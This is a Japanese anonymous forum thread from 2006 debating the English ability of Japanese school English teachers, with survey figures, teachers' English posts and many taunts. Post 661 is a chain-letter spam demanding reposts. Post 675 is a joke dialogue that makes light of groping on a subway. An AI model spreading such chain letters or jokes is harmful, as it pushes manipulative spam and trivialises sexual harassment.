658 :実習生さん:2006/12/01(金) 07:53:08 ID:cUJ0A0IO
教員採用試験ってひどいからね。

659 :実習生さん:2006/12/01(金) 12:18:08 ID:ugEOWw1y
でもせめて英語のエキスパートじゃないとおかしいよな。

660 :実習生さん:2006/12/01(金) 12:25:13 ID:8rPWAeUK
>>658
受けたの?

661 :実習生さん:2006/12/01(金) 12:52:53 ID:iaECNMJE
?       ?.
      ??     ??
    ????   ????
   ??????????????
 ?????????????????
 ?????????????????
 ?????????????????
 ?????????????????
  ???????????????
    ????????????
  ???????????????
 ?????????????????
 ?????????????????
 これを見ると今年の受験に落ちます。
これを今から1時間以内に3回他スレにコピペすれば100%、受かります。
貼らないと
落  ち  ま  す

662 :実習生さん:2006/12/01(金) 14:53:48 ID:pXZdjmDr
今のアメリカ大使館の在米大使は英語まったくできないぞ

663 :実習生さん:2006/12/01(金) 15:20:55 ID:ugEOWw1y
世界銀行でも日本人スタッフは英語が下手すぎて
苦情が出てるらしいよ

664 :実習生さん:2006/12/01(金) 15:25:50 ID:dimW3Cc6
>>663
全て文科省が悪いんだよ。

665 :実習生さん:2006/12/01(金) 15:36:12 ID:cUJ0A0IO
>>660
いいや。でも受かった奴はたくさん見てるからわかるんだよ。

>>662
そんなわけないだろw


666 :実習生さん:2006/12/01(金) 18:14:48 ID:A1aQPlyB
>>665 今日も朝からお勤めご苦労w 張り付きも大変だなw

667 :実習生さん:2006/12/01(金) 18:59:09 ID:cUJ0A0IO
>>666

>>660先生の努力も労ってやれよw

668 :実習生さん:2006/12/01(金) 22:30:16 ID:8WxF6/pl
A man from New Zealand said English education in Korea has been more successful
than that in Japan. I asked whey he thought so. Then he said he met quite a few
Korean people with pretty good command of English during his short stay in Korea.

Obviously those Koreans are working in a tourism industry, so it is not surprising
they are better than average Koreans...But, he said he's met just 5 Japanese
people whose level of English is as good as theirs during the perdiod of 1 year.

Moreover, those Koreans were only brought up in Korea... only a product from
their ordinary mainstream education system.
The New Zealander wanted to know what is the difference between their way of
teaching and our way of teaching.

I'm not sure about how they teach but probably they start teaching kids English
from the time they are little. Also the motivation to be a good speaker of
English is keener because they are still trying to catch up with the other
developing countries, including Japan, and being able to speak English
is just absolutely a must. Japanese children are so well off that they
have got rather complacent.

669 :実習生さん:2006/12/01(金) 22:34:29 ID:8WxF6/pl
* whey→why
* other developing countries → other developed countries

670 :実習生さん:2006/12/01(金) 22:57:55 ID:8WxF6/pl
Employment exams vary from city to city, prefecture to prefecture.
I know to pass the test was extremely difficult in the early 2000's
because there were so many baby boomers-turned to be elderly teachers
didn't start to leave their work forces yet. These days it seems
a little easier to pass the test and get to be employed.
Those who got emplyed a few years back were really excellent and now
the gate has got widened but those who has got it through must still be
very good.


671 :実習生さん:2006/12/01(金) 23:01:32 ID:8WxF6/pl
to pass the test→ it is extremely difficult to pass the test
elderly teachers→ elderly teachers who
the gate has got widened but → the gate has got widened so...

672 :実習生さん:2006/12/01(金) 23:10:44 ID:8WxF6/pl
One of my students asked me which test is harder, the employment test
to be a teacher or STEP grade 1 test.
I said they are different kinds of test and it's difficult to compare.
The employment tests include other genres such as questions concerninig about
common sense, laws related with education, etc.

673 :実習生さん:2006/12/02(土) 07:21:17 ID:8WHADU2A
>>672
ほんとにその通りだよね。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?

674 :実習生さん:2006/12/02(土) 10:33:53 ID:AAf0LCBK
The people on the street would think that teachers working in school
should keep on studying the subject they teach and should be good
enough to pass STEP pre-grade 1 at least.
I agree with you.

You seem to be visualizing the scene at an auditorium where people
from the local communities are all invited and every teacher in
the local schools are introduced to them and they have to hang down from
their neck a placard which says the name of the university they graduate
from and of any qualifications they have.

What a fun thought!

675 :実習生さん:2006/12/02(土) 12:51:42 ID:SLJDfAA7

Catherin:A Japanese tourist has touched my hips in the subway the other day.
John  :Oh my...
Catherin:I told him "Stop it otherwise I will call a policeman." but he didn't. So I took him to the police.
John  :Disgusting.
Catherin:That guy kept saying strange things like "Halo Haudoyudoyu" in the police department.
John  :Idiot?w
Catherin:Soon a Japanese guide rushed and interpreted what he had said.
     According to him, he touched me because I told him to touch.
     And he kept claiming that he heard so without any mistake, because he was an English teacher.
John  :Gosh, English teachers in Japan cannnot use English.
Catherin:Oh! Really?
John  :But they are claiming that they are good at English, and then what was happened?
Catherin:There is no way, but I just left him to the police.
John  :That's fine. They should learn the reality.


676 :実習生さん:2006/12/02(土) 13:16:12 ID:ViQWPlxC
>>674
その英語力をもっと自分の役に立つことに使えよ。

677 :実習生さん:2006/12/02(土) 15:20:29 ID:lwd3l3YS
>>676

>>674は頑張ってる良い先生じゃないか。
  君とは天と地の差がある

678 :実習生さん:2006/12/02(土) 19:58:33 ID:d+1gUu4O
英語ができない教師なんているわけないじゃん。
みんな英検1級もってるし、ペラペラだよ。

679 :実習生さん:2006/12/02(土) 21:50:46 ID:CD917Vkj
英検準1級以上の英語の先生、中学1割・高校でも2割(3/30)
 公立中学と高校の英語教員のうち、文部科学省が教員の英語力の目標とした
英検準1級以上の取得者は中学で約1割、高校で約2割にとどまっていること
が、同省による初めての調査でわかった。

 英語能力を測る世界共通の学力テストである「TOEFL」で550点以上、
「TOEIC」で730点以上の教員は、さらにその半分とお寒い状況。文科
省にとっては、生徒以前に、教員の英語力アップが課題になりそうだ。調査で
は、38都道府県と7政令市の教委が、中学2万2000人、高校2万100
0人の英語教員の回答を集計した。

 このうち、中学教員は、英検準1級が2386人。TOEFLの目標達成は
1021人、TOEICは1581人だった。高校教員の場合は、目標達成者
は倍増するが、それでも準1級が4194人、TOEFL2186人、TOE
IC2965人どまりだった。(読売新聞3月29日)

680 :実習生さん:2006/12/02(土) 23:51:43 ID:AAf0LCBK
>>676

Well, my English is good enough to be a teacher but not good enough to
work for a company using English as a tool to do business. I know that,
so I teach English, I suppose.

>>677
Thanks for your compliment. My students don't think I'm a good teacher.
They say that I am all right. Some of them dislike me, which is fine with
me. That's life.

When I look back my own school days, I liked my teachers. I especially
remember one English teacher, whose pronunciation was terrible but he was
very funny and made us laugh all the time. I doubt he could speak English.
What he did was read a few passages with his horrible pronunciation and
let us write down his translation on our notebook. He sometimes made us
memorize strange mantras such as "toki matawa joukenn wo arawasu fukusisetu
nonakade miraiha gennkei" He even went on talking us into learning those
mantras by heart and made us repeat after him reciting them!
Good old Englsih teachers were like him...

681 :実習生さん:2006/12/03(日) 00:26:24 ID:6kfLsosg
英語教師ならビジネス英語と学校で教えられる英語では語彙の範疇が違うことくらいわかるよな?
もちろんそれらを同列に語ることのアホさを知った上での皮肉なんだろうな。

682 :実習生さん:2006/12/03(日) 16:48:52 ID:zdB+1Wl+

比べてみよう! 生徒と英語教師w

英語教師は、               生徒は、
     給料をもらって、           学費を払って、

     英語だけ1教科を、          数学、社会など5教科以上を、

     30年間担当して、           3年間勉強して、

     高校卒業程度の英語レベル    高校卒業程度の英語レベル

>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル


683 :実習生さん:2006/12/03(日) 19:49:06 ID:uknOVlb6
The vocabulary 'school English' covers is SURELY a lot smaller than that which
you need to do business.
Who is being sarcastic, I wonder?

684 :実習生さん:2006/12/03(日) 22:54:08 ID:uknOVlb6
>>681
I doubt there is such a thing like "business English." If you are a
maker of machine parts and want to sell to a company in China,
you should be able to explain the product and what is different from
products made by other companies. You have to negotiate about the price
probably you might come to an agreement and all that, by only using English
and a little Chinese. After work you might be invited to have dinner
with your business partner. You might talk about how impressed you are
to look at the beautiful scenery or funny things which happened to you
while in China or you might talk about current events which interest you,
such as a Russian spy who got killed in London...
Isn't it all ordinary English we have to know?

685 :実習生さん:2006/12/03(日) 22:56:23 ID:uknOVlb6
want to sell to a company → want to sell them to a company

686 :実習生さん:2006/12/03(日) 23:38:24 ID:3BpPdqRL
もしかして、英検受験料を大幅に増やしたい組織の集団投稿?

687 :実習生さん:2006/12/04(月) 13:32:24 ID:T9oOjSxA
>>684
何気にここで英文の練習している偉い先生ですね。
 そういえば「藤峰子」最近みないよね。

688 :実習生さん:2006/12/04(月) 15:27:45 ID:MUTyzob8
先生って時間あるんだなぁw


689 :実習生さん:2006/12/04(月) 19:20:23 ID:+mUE0X9H
英検を受験する人を大幅に増やしたいだろ?

690 :実習生さん:2006/12/04(月) 20:25:50 ID:u92PCSP4
Today, English conversation test is done by boards of Education
in adopting new English teachers.
So those who can't speak English well can't become English teachers.
I am one of them.

Was this kind of test done in the past?


691 :実習生さん:2006/12/04(月) 20:37:10 ID:kSr1p/sg
If my memory is correct, STEP used to be authorized and partly sponsored(?) by
Minisitry of Education, sports, culture and technology.
It is one of the English proficiency testing systems students can sit for.
I don't particularly recommend STEP to my students. TOEIC, TOEFL, IELTS, STEP,
or any other system is good to measure our English skills, each characteristic
of them taken into account.

692 :実習生さん:2006/12/04(月) 20:47:31 ID:kSr1p/sg
>>690
Good luck to you.

Yes, there has always been an oral test for candidates to be teachers.
I remember I had an interview test back then. The examiner was a kind
of old man. He said, "Please be seated," with very thick Japanese accent.
He asked me where I was from, why I wanted to be a teacher, and so on.
Then, he just gave me a piece of paper, on which there was a newspaper
article or something. He told me to read it and let me read it for a while
and then, I was asked what was written there. He also asked me several
questions concerning about the article. The session lasted for about
20 minutes or so. I don't remember much, though.


693 :実習生さん:2006/12/04(月) 21:21:04 ID:u92PCSP4
>>692
Thank you so much for your reply.
Yes, I took such an oral test last year and this year.
On the scenes, I couldn't respond well to the interviewers.
Especially after the interview test, I don't have required skill for
school English teachers.
In fact, I failed the final selection for teachers to be adopted next
April.
Huuuh,I'm going to look for another job.


694 :実習生さん:2006/12/04(月) 21:31:23 ID:kSr1p/sg
>>693
You are welcome.
I hope you will pass. I was always nervous after I took a test.
Sometimes I was confident but the result was not really good, and
on other occasions I was not confident at all, nevertheless, the
result was right and I passed... Who knows! You might just pass.

695 :実習生さん:2006/12/05(火) 17:35:29 ID:b1VWIvRZ
>>694

I work at private school as part-time teacher now.
I've come to know school English teachers need ability to speak English fluently.
I feel that way especially when I need to discuss TT with ALT.
Some people post vicious jokes on this bulletin board.
I know they are out of question.
But I think the title on this board" Not quite a few JETs might have poor speaking level"
has a kind of truth.
I sometimes feel ashamed both in classes where I teach alone and in TT when I can't
speak well.
So, I'll leave school education and get a different job from it.






696 :実習生さん:2006/12/05(火) 19:09:53 ID:0yHpsuz0
>>695

You seem to have decided to have a different job, so I say this, but
teaching is not always fun, as you might already know. I hope you will
find a nice job which will make you happier.

I agree with you on the point that JETs should improve their speaking
skills and the title of this thread is right to some extent.
It's partly because most of the teachers are over forties and fifties,
they have got accustomed to the idea that they teach mainly English grammar
and how to translate English into English. They don't think we should
be able to speak it.
I assume you are young and have a lot of future ahead of you. You will
be able to improve your speaking skills quite easily based on the knowledge
of grammar and structures.

Speaking of myself, I am not an excellent speaker either, but at least
I believe speaking skills are as important as other skills, which you
also seem to think. Good luck to whatever you are going to do and good
luck to your own English learning!

697 :実習生さん:2006/12/05(火) 19:12:05 ID:0yHpsuz0
translate English to English → translate English to Japanese


698 :実習生さん:2006/12/05(火) 22:10:42 ID:b1VWIvRZ
>>696
Yes, I'm sure you understand what I want to say.
I know we should bring up students' ability to listen, speak, read, write English.
So I make my students memorize the texts on the textbook and present them in pairs
in front of the others in classes.
I believe memorizing model conversation is useful for them to speak English freely
in the furture.
I understand what you are saying, so I feel I'm not confident of myself.
I like to work for young students, I mean I like to cope with their life problems
and think about them together. That's our work. I like to talk with the young.
But I know English proficiency is the most important factor for us English teachers.








699 :実習生さん:2006/12/05(火) 22:48:48 ID:0yHpsuz0
>>698
Hmmm... You like to help younger people and you seem to like teaching
English. In that case, teaching English is a perfect job for you,
it seems to me. Of course you don't have to do that in a public educational
institution. You might want to be an English teacher at a private school.
You might be able to work at a cram school.

Anyway, I think you should have more confidence in yourself. No one
is a perfect speaker of their second language. Let's take it for granted
that we just make errors. Of course we should try to make as few errors as
possible, though.

>So I make my students memorize the texts on the textbook and present them in pairs
>in front of the others in classes.

That's great. Are they all willing to talk in front of the whole class?


700 :実習生さん:2006/12/06(水) 13:01:57 ID:wGtEOzhY
See, no dumbshits are able to cut into your comments.

英語教師を叩いてる諸君たち、どちたのかな〜?

701 :実習生さん:2006/12/06(水) 15:00:59 ID:naXwfM1G
>>700
先生ですか?ひとつ、指摘を。この場合、cut into はおかしいですね。
こういうときは気をつけないと。


702 :実習生さん:2006/12/06(水) 15:30:52 ID:NYJDGqq+
国語教育スレはあんなにマターリしてるのに、
言葉が違うだけでなんでこうも殺伐とするんだろう。

703 :実習生さん:2006/12/06(水) 18:43:56 ID:J5nrT5tv
>>699
I make the students make pairs and make the pairs memorize the dialogue one by one.
One dialogue has 6 or so sentences in it, so each stundest has to memorize about 3 sentences in a try.
And I make them recite the dialogue in pairs in front of the others.
They always do much better than I expected.
Maybe that's because I often tell them " Your presentation is included in your grade as usual score."
They don't seem to feel much burden memorizing 3 or so sentences, so they don't seem to be unwilling to do this.
I think this way is effective in bringing up their speech skill,
I mean I hope in the future they will have positive attitude to give a speech in English before people without feeling hesitation.


704 :実習生さん:2006/12/06(水) 18:49:01 ID:QDH8D7WL
出来る教師もいるだろうし、
当然出来ない教師もいるだろう。

「英語教師」という枠でひと括りにするから、おかしくなる。

705 :実習生さん:2006/12/06(水) 19:11:06 ID:H/a65dDZ
>>702

I think Japnese teachers don't lay back either. They always
seem to have a heated discussion. Here in this thread, there is
no discussion but an attempt to humiliate English teachers.
However, I found some truths in what they are saying;
teachers do not make enough efforts to improve themselves, including
myself, of course.

>>703

Thank you for your reaply. I've got something to do right now...
I'll talk to you later.

706 :実習生さん:2006/12/06(水) 19:20:00 ID:TI/p4h4G
スレタイは

なぜ、英語教師の中に日本語しか出来ないやつがいるのか?

にするべきだったな。
うちの高校にはとても英語のうまい英語の先生もいた。

707 :実習生さん:2006/12/06(水) 21:44:06 ID:H/a65dDZ
>>703
>They always do much better than I expected.

Yeah, they do, don't they? We are sometimes amazed how well they do.
On the other hand we are disappointed to find how little they have been
following what we are trying to plant in them..., like today.
I mean, I'm now marking their test papers. Most of them seem to find
the test very difficult and leave so many blanks unanswered.

>>706
I agree. In my workplace, there is a teacher who graduated from Tokyo university of
foreign language studies(外語大). Although he majored in a minor(?) language spoken
in the southeast Asia when he was a student, his English is excellent. Maybe he has
the best command of English. There is another teacher who says openly he can't speak
English well. He says he got TOEIC 620 after he became a teacher, which is, as he says,
not that high as a teacher.


708 :実習生さん:2006/12/07(木) 00:00:54 ID:Q/0Txt/v
先生、これを英訳してみてください!

比べてみよう! 生徒と英語教師w

英語教師は、               生徒は、
     給料をもらって、           学費を払って、

     英語だけ1教科を、          数学、社会など5教科以上を、

     30年間担当して、           3年間勉強して、

     高校卒業程度の英語レベル    高校卒業程度の英語レベル

>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル


709 :実習生さん:2006/12/07(木) 09:44:51 ID:wdXd+Cna
>>701
別におかしくないと思うが・・・ 
 どこがどうおかしいの?

710 :実習生さん:2006/12/07(木) 21:09:27 ID:n4Ixr6/B
>>708

It's the most depressing part of learning another language.
Unless you are a genius of linguistics, it's almost impossible to
master English while living in Japan. I've been learning it for
quite some time, as a student, and later as a teacher, but I sometimes
find my students speak or write better English when they come back from
the USA or England. They are there for a short while, say, a year or so,
and then they becoem quite fluent.

711 :実習生さん:2006/12/07(木) 21:12:20 ID:n4Ixr6/B
becoem→become

712 :実習生さん:2006/12/07(木) 21:20:57 ID:YoENyU+P
Yeah, I feel the same way you feel.
The day of the 2nd term exam is coming soon at our school.
I repeatedly say to them " This part is importnat, please review well."
I intend to give them special hints about the upcoming exam.
I say like this because I want them to get good score.
But they rarely meet my expectation.


713 :実習生さん:2006/12/07(木) 22:15:39 ID:RDbd7efR
See you Saturday.
What do you do in your free time?

714 :実習生さん:2006/12/08(金) 00:51:10 ID:O3yYlIu5
英語できない教師をくびにしなけりゃ無能教師が減るわけないよな。

715 :sage:2006/12/08(金) 01:14:56 ID:deuhpLyq
うちの高校の英語教師に慶應の問題やらせたら7割しかとれなかったw

716 :実習生さん:2006/12/08(金) 02:11:04 ID:/dKfg+Iz
>>714
いつまでも、平和ぼけな発送だねぇー


717 :実習生さん:2006/12/08(金) 03:00:01 ID:O3yYlIu5
英語教師は民間委託でいいだろ。

718 :実習生さん:2006/12/08(金) 10:40:39 ID:L820ilXU
>>715
お前は満点とれたのか?

719 :実習生さん:2006/12/08(金) 10:47:48 ID:ZXzSZFtO
>>715
7割とれたら合格だろ

720 :実習生さん:2006/12/08(金) 11:32:48 ID:6LVv9YDW
医者が手術失敗したとして、患者に“じゃお前はできるのか?”とは言わないよね。
でも教員は言うんだよ。少しは恥ずかしいと思えよ。

721 :実習生さん:2006/12/08(金) 12:42:26 ID:L820ilXU
>>720
>>719

失敗してないが

722 :実習生さん:2006/12/08(金) 14:32:34 ID:6LVv9YDW
配管工でさえ、客に向かって“お前はできるのか?”
なんて恥ずかしいこと言わないよなぁ。
教員より配管工の方が恥を知ってるよ。

英語だけ専門に何十年もやってるんだから、大学入試なんて満点とって当たり前。
それができない上に、“お前はできるのか?”とか恥ずかしいこと言うのが教師。
そいう根性を直さないと教育に悪いね。


723 :実習生さん:2006/12/08(金) 14:48:22 ID:L820ilXU
“お前はできるのか?”と言った俺は残念ながら教師じゃなく大学生だがな。

724 :実習生さん:2006/12/08(金) 15:10:38 ID:6LVv9YDW
また、始まった。教師によくあるパターン。

教師バカにされる。
   ↓
反論する
   ↓
再反論されて言い返せない
   ↓
“実はオレは教師ではない”   w


まぁ、いいけどね。仕事でやってるくせに“じゃ、お前はできるのか?”
なんて言うことは恥ずかしいことだということがわかればよろしいw
配管工でさえそのぐらいの恥は知ってるけど、教員はそれ以下だからなぁ。

725 :実習生さん:2006/12/08(金) 15:36:35 ID:L820ilXU
いやいや、教師自身が言い訳してたら痛すぎだろw
教師じゃないから言えるんだよ、「お前はどうなんだ」ってな。

まあ、何も出来ない自分を棚に上げて偉そうなことぬかすのが
どれだけ恥ずかしいことかってのもそのうちわかる。大人になればな。
言葉を借りるが、"配管工でさえそのぐらいの恥は知ってる"ぞ。

726 :実習生さん:2006/12/08(金) 16:08:45 ID:L820ilXU
ついでにここにいるガキ共に現実を教えてやる。

お前らも知っての通り、大半の英語教師には十分な英語力がない。
この間中学校の採用試験に合格した俺の知り合いはTOEICで500点未満だった。
ところが残念なことに、彼はマシなほう。塾講師をやってる知り合いに至っては
ほとんどがそれ以下。英検なんて中学でとった3級のまま放置してる奴がザラ。
要はな、お前らに英語を教えてる連中は塾だろうが学校だろうが英語なんか殆どできねえんだよ。

727 :実習生さん:2006/12/08(金) 19:42:53 ID:O3yYlIu5
要するに学校の授業が信用できないから塾に行くんだよな。

728 :実習生さん:2006/12/08(金) 20:52:24 ID:C7HePpq8
俺、塾講やってたが、英語はなせる奴なんて専任ふくめて一人もいなかったぞ。
予備校とかに行けば、また話は別だろうが。少なくとも中学レベルではマニュアル
あれば、英語力はたいしてなくてもなんとかなる

729 :実習生さん:2006/12/08(金) 21:37:55 ID:6LVv9YDW
>>728
塾の方がちゃんと教えてくれるから、塾に行くんだろ。
学校の教員は、英語力もないし指導力もないってことだ。

だいたい、英語だけを何十年も担当してる塾講師なんて、予備校の花形講師ぐらいのもので、
その辺の塾講師は複数教科を担当してるだろ。
これだけとってもガッコの教員とは雲泥の差だ。




730 :実習生さん:2006/12/08(金) 23:02:19 ID:03Y+ch4d
まあ、臨界期を過ぎてからの英語学習では、英検2級が一般的日本人の限界ってことだ。

というのは、ネタとして。

英語教師っていっても、一日の勤務で英語の授業にかける割合は1〜2くらい。
(学校による。)
部活とか、事務仕事(校内分掌という。)とか、生徒指導とかの方が遙かに大変で、英語どころじゃない。
しかも、底辺校にいくと中学校1〜2年生くらいの授業を数年間受け持つ。
構文や単語などほとんど忘れる。
しかも、部活と生徒指導で肉体的にも精神的にも疲れ果て、勉強する時間も気力もない。
底辺校からでる頃には、頭の中はそりゃ英検2級くらいになってるだろうよ。

それに、英語の先生の仕事は「英語を使う」ことではない。
「生徒が英語を使えるようにする」こと。
そのためには、英語の能力はあったにこしたことはないにしろ、
文法をわかりやすく教える知識、心理学の知識、教材開発の能力、演技力、そういったものの方が大切。

731 :実習生さん:2006/12/09(土) 00:35:18 ID:F/1XOKQF
>>727
塾はできない先生をさもできるように見せるためのテクニックすら
マニュアル化されてるからな。体よく騙されてるわけだよ。子供らは。

>>729
指導力は塾と学校では単純比較できないってのが前提だが、
それにしてもひどい学校やひどい先生は多いな、確かに。
だが、他の教科ったって塾講師(学生・専任問わず)はみんな教えることになって初めて
必死で勉強するんだぞ。「解けねー」とか言いながら、同僚に教えてもらいながら。
で、生徒は先生が昨日今日わかったことを教えられて「この先生はできる」とか
思っちゃうわけだ。舞台裏を知らないってのは滑稽なもんだよね。

732 :実習生さん:2006/12/09(土) 07:54:32 ID:OfUBeiU/
>>730
ほんとにその通りだよね。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?

733 :実習生さん:2006/12/09(土) 08:02:48 ID:Sjv+t6hE
俺は英語の先生でも人間性がよければそれでいいな。
俺が高校のときの英語の先生は女の先生でなかなか美人だったから
それだけでよかったわw

734 :実習生さん:2006/12/09(土) 08:35:11 ID:AE9EMHDA
>>731

I wonder what the techniques are like. Putting on a bluff so that
they would believe you are a great teacher?

>>730
You know what it is like, which so many people just don't know.
I sometimes tell my friends what it's like, they don't believe it.
The reality is now hard to accept.

>>733
My teachers were all middled-aged male teachers. I remember we once
had a very attractive young female practice teacher. She was at
our school just for a few weeks, but I still remember what she said to us.
She said pronunciation is very important. She recommended to us that
we should be careful about the way we pronounce English words.
"The younger you are, the easier you learn to pronounce words correctly,"
she said. I really wanted to sound like her tried to practice
doing that. I wonder what she is doing right now...

735 :実習生さん:2006/12/09(土) 08:37:10 ID:AE9EMHDA
sound like her tried to→ sound like her and tried to

736 :実習生さん:2006/12/09(土) 09:05:19 ID:Ljc2Z2PJ
>>731
>>「解けねー」とか言いながら、同僚に教えてもらいながら。
>>で、生徒は先生が昨日今日わかったことを教えられて「この先生はできる」とか
>>思っちゃうわけだ。

よい仕事をしようと努力してるならいいんじゃないの?
努力をしないとクビになったり倒産したりするからこそ努力するんだからな。
昨日も今日も低レベルのくせに、努力さえしない教員よりずっと増しだろ。

737 :実習生さん:2006/12/09(土) 11:42:40 ID:F/1XOKQF
>>736
なんでそんなにBランク大学生レベルの塾講師を擁護するの?
なにか塾講師が否定されたら困ることでもあるの?

738 :実習生さん:2006/12/09(土) 15:12:14 ID:cLiEw5z1
>>737
IDが馬鹿っぽいよ

739 :実習生さん:2006/12/09(土) 15:59:40 ID:Ljc2Z2PJ
>>737
はぁ? 教師がどれだけダメな連中かを説明してるだけだよ。
そうだろ?教師は低レベルな能力の上、努力しない。違うか?


740 :実習生さん:2006/12/09(土) 16:06:21 ID:I544oY4M
>>739
そーなんだ
で、君はどのくらい努力してるの?
それでも、こんなくだらないところに書き込むヒマあるんやぁー
その程度の努力なんやねぇーふーん

741 :実習生さん:2006/12/09(土) 16:22:01 ID:R9O071F+
努力しない教師って日教組の奴らだけだろ。
普通の先生は教材研究等の学習を常にやってるよ。

742 :実習生さん:2006/12/09(土) 17:12:04 ID:GnmTnhYh
>>741
あなたは偏見に満ち満ちてるね。
日教組だろうが、全教だろうが、普通の先生だろうが教材研究等の学習を常にやってるよ。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?


743 :実習生さん:2006/12/09(土) 17:24:22 ID:R9O071F+
>>742
日教組はやってねぇよ

744 :実習生さん:2006/12/09(土) 17:29:34 ID:I544oY4M
>だけどね、先生は何十年も英語教えてるわけでしょ?
英検1級や準一のレベルの生徒だけを相手にしていれば、できるわ
しかし
中高の8割の先生(偏差値50以下の高校含)は、そんな優秀な生徒を相手にはしてません
スキルアップしたくとも、そんなヒマありません

745 :実習生さん:2006/12/09(土) 17:35:54 ID:jtcMQv8y
>>744
だから、そうなんだけど、それがわからない素人もいるのは仕方ないでしょ?
そういうのも相手にするのが公務員なんだから。
それを、ここで言ってもいいけど、ちゃんと学校で説明すればいいでしょ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成でしょ?



746 :実習生さん:2006/12/09(土) 19:17:52 ID:Ljc2Z2PJ
>>740
努力してるってw、何の努力してるんだよ。
アシスタントの外国人講師と話もできないようなのが山ほどいるじゃないか。
それとも数学でもやってるのか?w


747 :実習生さん:2006/12/09(土) 20:24:38 ID:JHf3rpxE
教員の仕事は自分が努力することではなく、生徒に努力させること。
と先輩教員に教わったことがある。
今の生徒は、自分は努力しないくせに、他人の努力は要求する傾向がある。

英語なんて、英語ができない人間でも適切な教材を用意して、
生徒にまじめに勉強させることができれば、教えられると思う。
(生徒に進学校に入る程度のレベルがあるとして。)

実際、英語運用能力MAXなはずのALTは英語を教えられないし、
英語をぺらぺら話せる英語教師(特に女性に多い、本能で英語を身につけたようなタイプ)も、
分からない生徒を置いてけぼりにしちゃったりすることがあるので、
英語の能力と、英語教師としての能力は正比例するわけではないと思う。

ちなみに、進学校で教えている時期なら、英語検定なんて普通の英語教師であれば準一級はとれると思う。
でも、お金も時間もないので、わざわざ受けに行かないというのが実態だろう。
手当も何も付かないし。

748 :実習生さん:2006/12/09(土) 21:50:30 ID:Ljc2Z2PJ
今の教師は、自分は努力しないくせに、他人の努力は要求する傾向がある、
と誰もが思っている。

外国人アシスタントに話しかけられているのに、返事さえできない英語教師たちw
教える者はまず模範を示すことが肝要だが、それがまったくできない。
このような人間に“勉強しろ”といわれたら、逆に勉強などしたくなくなるのが普通。
実際、このような教師の言う通りに勉強したら、英語できるようになるなどと思う生徒はいないだろう。
そして、そう考える生徒は正しい。



749 :実習生さん:2006/12/09(土) 22:24:00 ID:AE9EMHDA
>>747

I wonder why you think teachers with good command of English tend
to be bad teachers. Is there any general tendency about it?
I think teachers should be a good role model.
They should have a fine command of English and should be able to
communicate well with ALTs.

You are saying those teachers who are good at English tend to
leave their students behind, by which you seem to mean
they keep on talking in English, not caring if their students
understand them. That is not true.



750 :実習生さん:2006/12/09(土) 22:31:40 ID:Ljc2Z2PJ
>>747
>>教員の仕事は自分が努力することではなく、生徒に努力させること。
>>と先輩教員に教わったことがある。

あのな、その先輩教員ってのから問題なんだよ。年寄り教員の方が問題なんだからな。
こういう自分勝手な勘違いが何世代にも渡って教員に受け継がれてるのが問題なんだよ。
キミの先輩ってのも同じように英語できない英語教員なんだろうなw




751 :実習生さん:2006/12/10(日) 00:46:41 ID:QZnpmLAT
>>748
それは正しい。どんな理屈をつけようが、教師は生徒の意欲を削ぐようなことを避けなければならない。
そして、ある研究によれば中国や韓国、日本の人達はエラーに対して非常に冷ややかな視線を送る傾向にあるらしい。
自分もそうだったが、生徒は自分のこととなると「英語なんて喋れなくてもいい」なんて言いながら喋れない教師に対しては
ものすごく幻滅するからね。今の世界のEFLやESLの傾向としてはエラーを気にせず流暢さを身に付ければ
正確さは後からついてくるってのが主流なんだけど。まあ、地域が違えば事情も違うってことだね。

>>750
彼や彼の先輩は授業中の生徒の運動量のことを言ってるんじゃないかな?
確かに授業時間の中では先生ばかりが英語を使っていてはいけない。
生徒が書く。生徒が話す。でないと生徒は聞き疲れするだけで、全く英語ができるようにならない。
読み書きだけなら大量の宿題を出すことでできるようにさせられるけどね。
授業の外まで含めれば、教師は生徒に努力させるために努力するんだよ。

752 :実習生さん:2006/12/10(日) 07:36:21 ID:tggxZXdE
>>751
ほんとにその通りだよね。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?

753 :実習生さん:2006/12/10(日) 09:15:59 ID:QZnpmLAT
ニュー速+のkoueiなんかもそうなんだけど、何を言ってもほぼコピペで同じことしか言わないヤツって
根本的に言葉のキャッチボールができないんだろうな。友達もゼロかそれに近い数だろう。

